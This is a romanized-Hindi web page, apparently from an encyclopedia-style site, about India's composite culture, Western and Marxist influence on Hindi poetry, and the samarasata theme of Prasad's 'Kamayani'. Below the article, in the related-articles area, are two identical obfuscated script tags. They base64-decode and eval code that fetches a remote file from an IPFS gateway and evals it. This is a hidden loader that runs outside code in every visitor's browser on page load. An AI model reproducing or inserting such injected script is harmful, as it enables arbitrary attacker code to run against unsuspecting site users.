samanvay ki yah prakriya, virodhi vicharoan ko bhi atmasat karane ki samasik prakriya aj bhi jari hai. bharat mean aangreji shasanakal mean pashchim se vaicharik adan pradan hua. aangreji sahity ke romaantisizm ka prabhav hindi ke chhayavadi kavy par spasht hi hai. marks aur lenin ke vicharoan ne hindi sahity mean yugaantakari parivartan kiya hai. pantaji ke ‘yugaant’ se chhayavadi yug ka aant mana jane laga. pant ji ke hi shabdoan mean ‘marksavad ke sath dhara par karata svarn padarpan’ - marksavad se dhara par svarg ne padarpan bhale hi nahian kiya, kiantu usane hindi kavita ko ek nee vichar bhoomi zaroor pradan ki hai.
isi vaicharik samanvay ka utkrisht udaharan hai prasad ji ki ‘kamayani’ mahakavy. manav man mean buddhi aur bhavana (shraddha) ka dvand sanatan hai. manushy chahata kuchh hai aur karata kuchh hai. yah sangharsh (aantah aur bahy donoan) ka karan hai. in virodhi batoan ka samaanjasy zaroori hai. yahi samarasata ka siddhaant hai. is bhav bhoomi par pahuanchane ke bad kuchh bhinn nahian rah jata hai.
manu ne kuchh kuchh musakya kar kailas ki or dikhalaya aur bole, ‘dekho yahaan par koee nahian paraya’
ham any n aur kutumbi ham keval ek hamian haian
tum sab mere avayav ho jisamean kuchh nahian kami haian
yadi ek vaky mean kahe to advait ka bhav bharat ki samasik sanskriti ka pran aur jin kavy manishiyoan ne is advait bhav ko samajha aur apanaya hai, unhoanne saanskritik samanvay evan ekata ka marg prashast kiya hai.
tika tippani aur sandarbh
sanbandhit lekh
| kramaank | lekh ka nam | lekhak |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>